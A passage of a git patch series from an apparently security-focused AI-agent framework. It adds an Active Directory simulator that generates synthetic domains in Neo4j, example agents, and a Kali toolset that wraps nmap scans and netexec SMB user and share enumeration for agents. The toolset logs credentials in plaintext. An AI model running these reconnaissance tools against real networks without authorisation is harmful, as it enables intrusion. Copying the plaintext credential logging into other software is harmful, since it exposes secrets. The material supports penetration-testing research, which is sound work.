adsimulator.utils.parameters import ( + get_int_param_value, + get_int_param_value_with_upper_limit, + get_perc_param_value, + print_all_parameters, +) +from neo4j import GraphDatabase + + +class Messages: + def title(self): + print("==================================================================") + print( + """ + + ,., + MMMM_ ,.., + \"_ \"__"MMMMM ,...,, + ,..., __.\" --\" ,., _-\"MMMMMMM +MMMMMM"___ "_._ MMM"_."" _ """ + """ _ _ _ _ + \"\"\"\"\" \"\" , \\_. \"_. .\" __ _ __| |___(_)_ __ ___ _ _| | __ _| |_ ___ _ __ + ,., _"__ \\__./ ." / _` |/ _` / __| | '_ ` _ \\| | | | |/ _` | __/ _ \\| '__| + MMMMM_" "_ ./ | (_| | (_| \\__ \\ | | | | | | |_| | | (_| | || (_) | | + '''' ( ) \\__,_|\\__,_|___/_|_| |_| |_|\\__,_|_|\\__,_|\\__\\___/|_| + ._______________.-'____\"---._. + \\ / + \\________________________/ + (_) (_) + + + + """ + ) + print(" A realistic simulator of Active Directory domains\n") + print("==================================================================") + + def input_default(self, prompt, default): + return input("%s [%s] " % (prompt, default)) or default + + def input_yesno(self, prompt, default): + temp = input( + prompt + " " + ("Y" if default else "y") + "/" + ("n" if default else "N") + " " + ) + if temp == "y" or temp == "Y": + return True + if temp == "n" or temp == "N": + return False + return default + + +# class MainMenu(cmd.Cmd): +class MainMenu: + def __init__( + self, + url="bolt://localhost:7687", + username="neo4j", + password="password", + domain="SKY.NET", + # save=False, + parameters=DEFAULT_VALUES, + ): + self.m = Messages() + self.url = url + self.username = username + self.password = password + self.use_encryption = False + self.driver = None + self.connected = False + self.old_domain = None + self.domain = domain + self.current_time = int(time.time()) + self.base_sid = "S-1-5-21-883232822-274137685-4173207997" + self.first_names = get_names_pool() + self.last_names = get_surnames_pool() + self.domain_names = get_domains_pool() + self.parameters_json_path = "DEFAULT" + self.parameters = parameters + self.json_file_name = None + + # self.save = save + + def dbconfig(self, args): + print("Current Settings:") + print(f"DB Url: {self.url}") + print(f"DB Username: {self.username}") + print(f"DB Password: {self.password}") + print(f"Use encryption: {self.use_encryption}") + print() + self.url = self.m.input_default("Enter DB URL", self.url) + self.username = self.m.input_default("Enter DB Username", self.username) + self.password = self.m.input_default("Enter DB Password", self.password) + + self.use_encryption = self.m.input_yesno("Use encryption?", self.use_encryption) + print() + print("New Settings:") + print(f"DB Url: {self.url}") + print(f"DB Username: {self.username}") + print(f"DB Password: {self.password}") + print(f"Use encryption: {self.use_encryption}") + print() + print("Testing DB Connection") + self.test_db_conn() + + def setdomain(self, args): + passed = args + if passed != "": + try: + self.domain = passed.upper() + return + except ValueError: + pass + + self.domain = self.m.input_default("Domain", self.domain).upper() + print() + print("New Settings:") + print(f"Domain: {self.domain}") + + def exit(self): + raise KeyboardInterrupt + + def connect(self): + self.test_db_conn() + + def cleardb(self): + if not self.connected: + print("Not connected to database. Use connect first") + return + + print("Clearing Database") + d = self.driver + session = d.session() + + session.run("match (a) -[r] -> () delete a, r") + session.run("match (a) delete a") + + session.close() + + print("DB Cleared and Schema Set") + + def setparams(self, args=""): + passed = args + if passed != "": + try: + json_path = passed + self.parameters = get_parameters_from_json(json_path) + self.parameters_json_path = json_path + print_all_parameters(self.parameters) + return + except ValueError: + pass + + json_path = self.m.input_default("Parameters JSON file", self.parameters_json_path) + self.parameters = get_parameters_from_json(json_path) + if self.parameters == DEFAULT_VALUES: + self.parameters_json_path = "DEFAULT" + else: + self.parameters_json_path = json_path + self.parameters = get_parameters_from_json(json_path) + print_all_parameters(self.parameters) + + def test_db_conn(self): + self.connected = False + if self.driver is not None: + self.driver.close() + try: + self.driver = GraphDatabase.driver( + self.url, + auth=(self.username, self.password), + encrypted=self.use_encryption, + ) + self.connected = True + print("Database Connection Successful!") + except: + self.connected = False + print("Database Connection Failed. Check your settings.") + + def generate(self): + self.test_db_conn() + self.cleardb() + self.generate_data() + self.old_domain = self.domain + + def generate_data(self): + if not self.connected: + print("Not connected to database. Use connect first") + return + + domain_dn = get_domain_dn(self.domain) + + computers = [] + computer_properties_list = [] + dc_properties_list = [] + groups = [] + users = [] + user_properties_list = [] + gpos = [] + gpos_properties_list = [] + ou_guid_map = {} + ou_properties_list = [] + + session = self.driver.session() + + print("Starting data generation") + + print("Generating the", self.domain, "domain") + functional_level = generate_domain( + session, self.domain, self.base_sid, domain_dn, self.parameters + ) + + print("Generating the default domain groups") + generate_default_groups(session, self.domain, self.base_sid, self.old_domain) + + ddp = str(uuid.uuid4()).upper() + ddcp = str(uuid.uuid4()).upper() + dcou = str(uuid.uuid4()).upper() + + print("Generating default GPOs") + generate_default_gpos(session, self.domain, domain_dn, ddp, ddcp) + + print("Generating Domain Controllers OU") + generate_domain_controllers_ou(session, self.domain, domain_dn, dcou) + + print("Linking Default GPOs") + link_default_gpos(session, self.domain, ddp, ddcp, dcou) + + print("Generating Enterprise Admins ACLs") + generate_enterprise_admins_acls(session, self.domain) + + print("Generating Administrators ACLs") + generate_administrators_acls(session, self.domain) + + print("Generating Domain Admins ACLs") + generate_domain_admins_acls(session, self.domain) + + print("Generating DC groups ACLs") + generate_default_dc_groups_acls(session, self.domain) + + num_computers = get_int_param_value("Computer", "nComputers", self.parameters) + print("Generating", str(num_computers), "computers") + computer_properties_list, computers, ridcount = generate_computers( + session, + self.domain, + self.base_sid, + num_computers, + computers, + self.current_time, + self.parameters, + ) + + num_ous = get_int_param_value_with_upper_limit("OU", "nOUs", self.parameters, 50) + if not num_ous % 2 == 0: + num_ous = num_ous - 1 + num_states = int(num_ous / 2) + + print("Generating", str(num_states), "Domain Controllers") + dc_properties_list, ridcount = generate_dcs( + session, + self.domain, + self.base_sid, + domain_dn, + num_states, + dcou, + ridcount, + self.current_time, + self.parameters, + functional_level, + ) + + print("Generating default users") + generate_guest_user(session, self.domain, self.base_sid, self.parameters) + generate_default_account(session, self.domain, self.base_sid, self.parameters) + generate_administrator(session, self.domain, self.base_sid, self.parameters) + generate_krbtgt_user(session, self.domain, self.base_sid, self.parameters) + link_default_users_to_domain(session, self.domain, self.base_sid) + + num_users = get_int_param_value("User", "nUsers", self.parameters) + print("Generating", str(num_users), "users") + user_properties_list, users, ridcount = generate_users( + session, + self.domain, + self.base_sid, + num_users, + self.current_time, + self.first_names, + self.last_names, + users, + ridcount, + self.parameters, + ) + + num_groups = get_int_param_value("Group", "nGroups", self.parameters) + print("Generating groups") + group_properties_list, groups, ridcount = generate_groups( + session, + self.domain, + self.base_sid, + domain_dn, + num_groups, + groups, + ridcount, + self.parameters, + ) + + print("Adding Domain Admins to Local Admins of Computers") + generate_default_admin_to(session, self.base_sid) + + das = generate_domain_administrators(session, self.domain, num_users, users) + + print("Adding members to default groups") + generate_default_member_of(session, self.domain, self.base_sid, self.old_domain) + + nesting_perc = get_perc_param_value("Group", "nestingGroupProbability", self.parameters) + print( + "Applying random group nesting (nesting probability:", + str(nesting_perc), + "%)", + ) + nest_groups(session, num_groups, groups, nesting_perc) + + print("Adding users to groups") + it_users = assign_users_to_group(session, num_users, users, groups, das, self.parameters) + + print("Adding local admin rights") + it_groups = generate_local_admin_rights(session, groups, computers) + + print("Adding ACLs for default groups") + generate_default_groups_acls(session, self.domain, self.base_sid) + + print("Adding ACLs for default users") + generate_default_users_acls(session, self.domain, self.base_sid) + + print("Adding AllExtendedRights") + generate_all_extended_rights(session, self.domain, self.base_sid, user_properties_list, das) + + can_rdp_users_perc = get_perc_param_value( + "Computer", "CanRDPFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (can_rdp_users_perc / 100))) + print("Adding a maximum of", str(count), "CanRDP from users") + generate_can_rdp_relationships_on_it_users(session, computers, it_users, count) + + can_rdp_groups_perc = get_perc_param_value( + "Computer", "CanRDPFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (can_rdp_groups_perc / 100))) + print("Adding a maximum of", str(count), "CanRDP from groups") + generate_can_rdp_relationships_on_it_groups(session, computers, it_groups, count) + + dcom_users_perc = get_perc_param_value( + "Computer", "ExecuteDCOMFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (dcom_users_perc / 100))) + print("Adding a maximum of", str(count), "ExecuteDCOM from users") + generate_dcom_relationships_on_it_users(session, computers, it_users, count) + + dcom_groups_perc = get_perc_param_value( + "Computer", "ExecuteDCOMFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (dcom_groups_perc / 100))) + print("Adding a maximum of", str(count), "ExecuteDCOM from groups") + generate_dcom_relationships_on_it_groups(session, computers, it_groups, count) + + allowed_to_delegate_users_perc = get_perc_param_value( + "Computer", "AllowedToDelegateFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (allowed_to_delegate_users_perc / 100))) + print("Adding a maximum of", str(count), "AllowedToDelegate from users") + generate_allowed_to_delegate_relationships_on_it_users(session, computers, it_users, count) + + allowed_to_delegate_computers_perc = get_perc_param_value( + "Computer", "AllowedToDelegateFromComputerPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (allowed_to_delegate_computers_perc / 100))) + print("Adding a maximum of", str(count), "AllowedToDelegate from computers") + generate_allowed_to_delegate_relationships_on_computers(session, computers, count) + + ps_remote_users_perc = get_perc_param_value( + "Computer", "CanPSRemoteFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (ps_remote_users_perc / 100))) + print("Adding a maximum of", str(count), "CanPSRemote from users") + generate_can_ps_remote_relationships_on_it_users(session, computers, it_users, count) + + ps_remote_groups_perc = get_perc_param_value( + "Computer", "CanPSRemoteFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (ps_remote_groups_perc / 100))) + print("Adding a maximum of", str(count), "CanPSRemote from groups") + generate_can_ps_remote_relationships_on_it_groups(session, computers, it_groups, count) + + print("Adding sessions") + generate_sessions(session, num_users, computers, users, das) + + print("Generating", str(num_ous), "OUs") + split_num_computers = int(math.ceil(num_computers / num_states)) + split_num_users = int(math.ceil(num_users / num_states)) + ou_properties_list, ou_guid_map = generate_computer_ous( + session, + self.domain, + domain_dn, + computers, + ou_guid_map, + ou_properties_list, + split_num_computers, + num_states, + ) + ou_properties_list, ou_guid_map = generate_user_ous( + session, + self.domain, + domain_dn, + users, + ou_guid_map, + ou_properties_list, + split_num_users, + num_states, + ) + link_ous_to_domain(session, self.domain, ou_guid_map) + + num_gpos = get_int_param_value_with_upper_limit( + "GPO", "nGPOs", self.parameters, 2 * num_states + ) + print("Creating", str(num_gpos), "GPOs") + gpos, gpos_properties_list = generate_gpos( + session, + self.domain, + domain_dn, + gpos, + gpos_properties_list, + num_gpos, + self.parameters, + ) + + print("Generating GpLink") + ou_names = list(ou_guid_map.keys()) + link_gpos_to_ous(session, gpos, ou_names, ou_guid_map) + gplink_domain_to_ous(session, self.domain, ou_names, ou_guid_map) + + gpos.append(f"DEFAULT DOMAIN POLICY@{self.domain}") + gpos.append(f"DEFAULT DOMAIN CONTROLLERS POLICY@{self.domain}") + + print("Adding GenericWrite") + generate_generic_write( + session, + computer_properties_list, + user_properties_list, + group_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding Owns") + generate_owns( + session, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + self.domain, + self.base_sid, + ) + print("Adding WriteDacl") + generate_write_dacl( + session, + dcou, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding WriteOwner") + generate_write_owner( + session, + dcou, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding GenericAll") + generate_generic_all( + session, + dcou, + dc_properties_list, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + + acl_principals_perc = get_perc_param_value( + "ACLs", "ACLPrincipalsPercentage", self.parameters + ) + num_acl_principals = int(round(len(it_groups) * (acl_principals_perc / 100))) + generate_outbound_acls( + session, + num_acl_principals, + it_groups, + it_users, + gpos, + computers, + self.parameters, + ) + + session.run("MATCH (n) SET n.domain=$domain", domain=self.domain) + + self.domain_names = get_domains_pool() + generate_trusts(session, self.domain, self.domain_names, self.parameters) + + session.run("MATCH (n:User) SET n.owned=false") + + owned_user = random.choice(users) + print("Compromised user:", owned_user) + + # session.run('MATCH (n:User {name: $owneduser}) SET n.owned=true', owneduser=owned_user) + # session.run('MATCH (n:User {name: $owneduser}) SET n:Compromised', owneduser=owned_user) + + session.run("MATCH (n:Computer) SET n.owned=false") + + # if self.save == True: + # self.write_json(session) + + session.close() + + print("Database Generation Finished!") + + # def write_json(self, session): + # json_filename = uuid.uuid4().hex + ".jsonl" + # query = "CALL apoc.export.json.all('" + json_filename + "',{useTypes:true})" + + # try: + # session.run(query) + # except Exception as error: + # print(error) + + # print("Graph exported to: /var/lib/neo4j/import/{}".format(json_filename)) + + +def optuna_generate(args): + env = MainMenu( + url=args.url, + username=args.username, + password=args.password, + domain=args.domain, + # save=args.save, + ) + + try: + env.connect() + print("[+] Successfully connected!") + except Exception as error: + print(f"[!] Failed to connect! {error}") + + def objective(trial): + config = DEFAULT_VALUES.copy() + config["Domain"]["functionalLevelProbability"]["2008"] = trial.suggest_int("2008", 1, 10) + config["Domain"]["functionalLevelProbability"]["2012"] = trial.suggest_int("2012", 1, 50) + config["Domain"]["functionalLevelProbability"]["2012 R2"] = trial.suggest_int( + "2012 R2", 1, 50 + ) + config["Domain"]["functionalLevelProbability"]["2016"] = trial.suggest_int("2016", 1, 50) + config["Domain"]["functionalLevelProbability"]["Unknown"] = trial.suggest_int( + "Unknown", 1, 50 + ) + config["Domain"]["Trusts"]["SIDFilteringProbability"] = trial.suggest_int( + "SIDFilteringProbability", 1, 100 + ) + config["Domain"]["Trusts"]["Inbound"] = trial.suggest_int("Inbound", 1, 100) + config["Domain"]["Trusts"]["Outbound"] = trial.suggest_int("Outbound", 1, 100) + config["Domain"]["Trusts"]["Bidirectional"] = trial.suggest_int("Bidirectional", 1, 100) + + # Define your parameters for the 'Computer' section + config["Computer"]["nComputers"] = trial.suggest_int("nComputers", 50, 1000) + config["Computer"]["CanRDPFromUserPercentage"] = trial.suggest_int( + "CanRDPFromUserPercentage", 1, 50 + ) + config["Computer"]["CanRDPFromGroupPercentage"] = trial.suggest_int( + "CanRDPFromGroupPercentage", 1, 50 + ) + config["Computer"]["CanPSRemoteFromUserPercentage"] = trial.suggest_int( + "CanPSRemoteFromUserPercentage", 1, 50 + ) + config["Computer"]["CanPSRemoteFromGroupPercentage"] = trial.suggest_int( + "CanPSRemoteFromGroupPercentage", 1, 50 + ) + config["Computer"]["ExecuteDCOMFromUserPercentage"] = trial.suggest_int( + "ExecuteDCOMFromUserPercentage", 1, 50 + ) + config["Computer"]["ExecuteDCOMFromGroupPercentage"] = trial.suggest_int( + "ExecuteDCOMFromGroupPercentage", 1, 50 + ) + config["Computer"]["AllowedToDelegateFromUserPercentage"] = trial.suggest_int( + "AllowedToDelegateFromUserPercentage", 1, 50 + ) + config["Computer"]["AllowedToDelegateFromComputerPercentage"] = trial.suggest_int( + "AllowedToDelegateFromComputerPercentage", 1, 50 + ) + config["Computer"]["enabled"] = trial.suggest_int("enabled", 1, 100) + config["Computer"]["haslaps"] = trial.suggest_int("haslaps", 1, 50) + config["Computer"]["unconstraineddelegation"] = trial.suggest_int( + "unconstraineddelegation", 1, 50 + ) + config["Computer"]["privesc"] = trial.suggest_int("privesc", 1, 50) + config["Computer"]["creddump"] = trial.suggest_int("creddump", 1, 50) + config["Computer"]["exploitable"] = trial.suggest_int("exploitable", 1, 50) + config["Computer"]["osProbability"]["Windows XP Professional Service Pack 3"] = ( + trial.suggest_int("Windows XP Professional Service Pack 3", 1, 10) + ) + config["Computer"]["osProbability"]["Windows 7 Professional Service Pack 1"] = ( + trial.suggest_int("Windows 7 Professional Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 7 Ultimate Service Pack 1"] = ( + trial.suggest_int("Windows 7 Ultimate Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 7 Enterprise Service Pack 1"] = ( + trial.suggest_int("Windows 7 Enterprise Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 10 Pro"] = trial.suggest_int( + "Windows 10 Pro", 1, 40 + ) + config["Computer"]["osProbability"]["Windows 10 Enterprise"] = trial.suggest_int( + "Windows 10 Enterprise", 1, 40 + ) + + config["DC"]["enabled"] = trial.suggest_int("DC_enabled", 1, 100) + config["DC"]["haslaps"] = trial.suggest_int("DC_haslaps", 1, 50) + config["DC"]["osProbability"]["Windows Server 2003 Enterprise Edition"] = trial.suggest_int( + "DC_Windows Server 2003 Enterprise Edition", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Standard"] = trial.suggest_int( + "DC_Windows Server 2008 Standard", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2008 Datacenter", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Enterprise"] = trial.suggest_int( + "DC_Windows Server 2008 Enterprise", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Standard"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Standard", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Datacenter", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Enterprise"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Enterprise", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2012 Standard"] = trial.suggest_int( + "DC_Windows Server 2012 Standard", 1, 30 + ) + config["DC"]["osProbability"]["Windows Server 2012 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2012 Datacenter", 1, 30 + ) + config["DC"]["osProbability"]["Windows Server 2012 R2 Standard"] = trial.suggest_int( + "DC_Windows Server 2012 R2 Standard", 1, 40 + ) + config["DC"]["osProbability"]["Windows Server 2012 R2 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2012 R2 Datacenter", 1, 40 + ) + config["DC"]["osProbability"]["Windows Server 2016 Standard"] = trial.suggest_int( + "DC_Windows Server 2016 Standard", 1, 50 + ) + config["DC"]["osProbability"]["Windows Server 2016 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2016 Datacenter", 1, 50 + ) + + config["User"]["nUsers"] = trial.suggest_int("User_nUsers", 50, 1000) + config["User"]["enabled"] = trial.suggest_int("User_enabled", 1, 100) + config["User"]["dontreqpreauth"] = trial.suggest_int("User_dontreqpreauth", 1, 50) + config["User"]["hasspn"] = trial.suggest_int("User_hasspn", 1, 50) + config["User"]["passwordnotreqd"] = trial.suggest_int("User_passwordnotreqd", 1, 50) + config["User"]["pwdneverexpires"] = trial.suggest_int("User_pwdneverexpires", 1, 100) + config["User"]["sidhistory"] = trial.suggest_int("User_sidhistory", 1, 50) + config["User"]["unconstraineddelegation"] = trial.suggest_int( + "User_unconstraineddelegation", 1, 50 + ) + config["User"]["savedcredentials"] = trial.suggest_int("User_savedcredentials", 1, 50) + + config["OU"]["nOUs"] = trial.suggest_int("OU_nOUs", 10, 200) + + config["GPO"]["nGPOs"] = trial.suggest_int("GPO_nGPOs", 10, 100) + config["GPO"]["exploitable"] = trial.suggest_int("GPO_exploitable", 1, 50) + + config["Group"]["nGroups"] = trial.suggest_int("Group_nGroups", 50, 200) + config["Group"]["nestingGroupProbability"] = trial.suggest_int( + "Group_nestingGroupProbability", 1, 50 + ) + config["Group"]["departmentProbability"]["IT"] = trial.suggest_int("Group_IT", 1, 50) + config["Group"]["departmentProbability"]["HR"] = trial.suggest_int("Group_HR", 1, 50) + config["Group"]["departmentProbability"]["MARKETING"] = trial.suggest_int( + "Group_MARKETING", 1, 50 + ) + config["Group"]["departmentProbability"]["OPERATIONS"] = trial.suggest_int( + "Group_OPERATIONS", 1, 50 + ) + config["Group"]["departmentProbability"]["BIDNESS"] = trial.suggest_int( + "Group_BIDNESS", 1, 50 + ) + + config["ACLs"]["ACLPrincipalsPercentage"] = trial.suggest_int( + "ACLs_ACLPrincipalsPercentage", 1, 100 + ) + config["ACLs"]["ACLsProbability"]["GenericAll"] = trial.suggest_int( + "ACLs_GenericAll", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["GenericWrite"] = trial.suggest_int( + "ACLs_GenericWrite", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["WriteOwner"] = trial.suggest_int( + "ACLs_WriteOwner", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["WriteDacl"] = trial.suggest_int("ACLs_WriteDacl", 1, 50) + config["ACLs"]["ACLsProbability"]["AddMember"] = trial.suggest_int("ACLs_AddMember", 1, 50) + config["ACLs"]["ACLsProbability"]["ForceChangePassword"] = trial.suggest_int( + "ACLs_ForceChangePassword", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["ReadLAPSPassword"] = trial.suggest_int( + "ACLs_ReadLAPSPassword", 1, 50 + ) + + try: + env.parameters = config + env.generate() + return True + except Exception as error: + print(f"[!] Failed to generate! {error}") + return False + + return objective + + +def task_generate_environment(url, username, password, domain): + print("Generating environment") + print(f"URL: {url}") + print(f"Username: {username}") + print(f"Password: {password}") + print(f"Domain: {domain}") + + env = MainMenu(url=url, username=username, password=password, domain=domain) + + try: + env.connect() + print("[+] Successfully connected!") + except Exception as error: + print(f"[!] Failed to connect! {error}") + + try: + env.generate() + print("[+] Done!") + except Exception as error: + print(f"[!] Failed to generate! {error}") + + +if __name__ == "__main__": + fire.Fire(task_generate_environment) diff --git a/examples/agents/bloodhound/agent.py b/examples/agents/bloodhound/agent.py new file mode 100644 index 00000000..940f9a93 --- /dev/null +++ b/examples/agents/bloodhound/agent.py @@ -0,0 +1,26 @@ +import asyncio + +from rich.console import Console + +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.bloodhound.tool import BloodhoundTool + +console = Console() + + +async def create_agent(): + return Agent( + name="bloodhound-agent", + description="An agent that uses Bloodhound to perform various tasks.", + model="gpt-4", + tools=[await BloodhoundTool()], + ) + + +async def main() -> None: + agent = await create_agent() + await agent.run("Given the current user, what paths are available to me?") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/filesystem/agent.py b/examples/agents/filesystem/agent.py new file mode 100644 index 00000000..f80c4358 --- /dev/null +++ b/examples/agents/filesystem/agent.py @@ -0,0 +1,19 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.filesystem.tool import FilesystemTool + +agent = Agent( + name="filesystem-agent", + description="An agent that uses filesystem tools to perform various tasks.", + model="gpt-4", + tools=[FilesystemTool(path="/")], +) + + +async def main() -> None: + agent.run("List the files in the root directory.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/ilspy/__init__.py b/examples/agents/ilspy/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/dotnet/agent.py b/examples/agents/ilspy/agent.py similarity index 100% rename from examples/agents/dotnet/agent.py rename to examples/agents/ilspy/agent.py diff --git a/examples/agents/dotnet/bin/AddInUtil.exe b/examples/agents/ilspy/bin/AddInUtil.exe similarity index 100% rename from examples/agents/dotnet/bin/AddInUtil.exe rename to examples/agents/ilspy/bin/AddInUtil.exe diff --git a/examples/agents/dotnet/bin/System.Addin.dll b/examples/agents/ilspy/bin/System.Addin.dll similarity index 100% rename from examples/agents/dotnet/bin/System.Addin.dll rename to examples/agents/ilspy/bin/System.Addin.dll diff --git a/examples/agents/dotnet/bin/mscorlib.dll b/examples/agents/ilspy/bin/mscorlib.dll similarity index 100% rename from examples/agents/dotnet/bin/mscorlib.dll rename to examples/agents/ilspy/bin/mscorlib.dll diff --git a/examples/agents/jupyter/agent.py b/examples/agents/jupyter/agent.py new file mode 100644 index 00000000..5e4d1f25 --- /dev/null +++ b/examples/agents/jupyter/agent.py @@ -0,0 +1,19 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.jupyter.tool import PythonKernel + +agent = Agent( + name="code-agent", + description="An agent that uses a Python kernel to perform coding tasks.", + model="gpt-4", + tools=[PythonKernel()], +) + + +async def main() -> None: + agent.run("Write a Python function that returns the Fibonacci sequence up to n.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/skopeo/agent.py b/examples/agents/skopeo/agent.py new file mode 100644 index 00000000..86891fd5 --- /dev/null +++ b/examples/agents/skopeo/agent.py @@ -0,0 +1,24 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.skopeo.tool import SkopeoTool + +# More often than not, you'll want to run the tool to get outputs +# and have the agent use those outputs as context. +tool = SkopeoTool() + + +agent = Agent( + name="skopeo-agent", + description="An agent that uses Skopeo to inspect Microsoft Container Registry images.", + model="gpt-4", + tools=[SkopeoTool()], +) + + +async def main() -> None: + agent.run("List the files in the latest mcr.microsoft.com/dotnet/aspnet image.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) From 3d5d7275c8cc13db19df298c0383252a1b9e0fa4 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 25 Aug 2025 19:31:59 -0600 Subject: [PATCH 22/60] kali --- .../{pentest/internal => kali}/__init__.py | 0 dreadnode/agent/tools/kali/tool.py | 663 ++++++++++++++++++ dreadnode/agent/tools/mythic/apollo/tool.py | 2 +- .../agent/tools/pentest/internal/tool.py | 634 ----------------- examples/agents/apollo/__init__.py | 0 examples/agents/apollo/agent.py | 32 + examples/agents/jupyter/__init__.py | 0 examples/agents/jupyter/agent.py | 16 +- examples/agents/kali/__init__.py | 0 examples/agents/kali/agent.py | 17 + 10 files changed, 723 insertions(+), 641 deletions(-) rename dreadnode/agent/tools/{pentest/internal => kali}/__init__.py (100%) create mode 100644 dreadnode/agent/tools/kali/tool.py delete mode 100644 dreadnode/agent/tools/pentest/internal/tool.py create mode 100644 examples/agents/apollo/__init__.py create mode 100644 examples/agents/apollo/agent.py create mode 100644 examples/agents/jupyter/__init__.py create mode 100644 examples/agents/kali/__init__.py create mode 100644 examples/agents/kali/agent.py diff --git a/dreadnode/agent/tools/pentest/internal/__init__.py b/dreadnode/agent/tools/kali/__init__.py similarity index 100% rename from dreadnode/agent/tools/pentest/internal/__init__.py rename to dreadnode/agent/tools/kali/__init__.py diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py new file mode 100644 index 00000000..71bc6a89 --- /dev/null +++ b/dreadnode/agent/tools/kali/tool.py @@ -0,0 +1,663 @@ +import os +import subprocess +import tempfile + +from loguru import logger + +from dreadnode.agent.tools import Toolset, tool_method + + +class KaliTool(Toolset): + """ + A collection of Kali Linux tools for penetration testing and security assessments. + """ + + name: str = "kali-tools" + description: str = ( + "A collection of Kali Linux tools for penetration testing and security assessments." + ) + + @tool_method + def nmap_scan(self, target: str) -> str: + """ + Scans target IPs to classify them as Domain Controllers or Member Servers. + + Args: + target: IP addresses to scan + + Returns: + Output of nmap scan + + Example: + >>> result = nmap_scan("192.168.1.2") + """ + + cmd = ["nmap", "-T4", "-sS", "-sV", "--open", *target.split(" ")] + + try: + logger.info("[*] Scanning targets...") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Nmap scan failed: {result.stderr}") + return result.stderr + + logger.info(f"[*] Nmap scan completed for target {target}: {result.stdout}") + return result.stdout + + except subprocess.TimeoutExpired: + logger.error("Nmap scan timed out after 5 minutes") + return "Nmap scan timed out after 5 minutes" + except Exception as e: + logger.error(f"Scan failed: {e!s}") + return f"Scan failed: {e!s}" + + @tool_method + def enumerate_users_netexec( + self, + target: str, + username: str, + password: str, + domain: str, + ) -> str: + """ + Enumerate users using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty string for null session) + password: Password for authentication (empty string for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_users_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--users") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + logger.info( + f"[*] Netexec user enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"User enumeration timed out for {target}") from None + except Exception as e: + logger.error( + f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + @tool_method + def enumerate_shares_netexec( + self, + target: str, + domain: str, + username: str = "", + password: str = "", + ) -> str: + """ + Enumerate shares using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty for null session) + password: Password for authentication (empty for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_shares_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--shares") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + logger.info( + f"[*] Netexec share enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Share enumeration timed out for {target}") from None + 